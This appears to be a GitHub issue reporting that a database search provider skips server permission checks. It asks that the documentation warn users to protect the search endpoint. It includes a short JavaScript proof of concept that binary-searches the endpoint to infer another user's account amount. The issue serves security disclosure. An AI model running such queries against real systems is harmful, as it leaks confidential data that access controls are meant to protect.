You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository was archived by the owner on Apr 7, 2021. It is now read-only.
I strongly recommend to specify in the documentation user MUST protect search endpoint if the database contains ANY confidential data in tables. Search provider has direct access to database and avoids all server permission checks.
Bad news it's not trivial to do this. Endpoint contains stringify JSON and it is hard to split permissions by table (or other params) with valve. Custom permission handler is required.
Simple attack vector
constcheckAmount=(min,max)=>{if(max-min<1){returnconsole.log(`Amount is ${Math.round(min)}`);}constmid=(min+max)/2;constquery=JSON.stringify({table: 'accounts',query: [['name','match','alice'],['amount','gt',mid]]});constlist=client.record.getList(`search?${query}`);list.subscribe(entries=>{list.discard();if(entries.length>0)checkAmount(mid,max);elsecheckAmount(min,mid);});};checkAmount(0,1000000);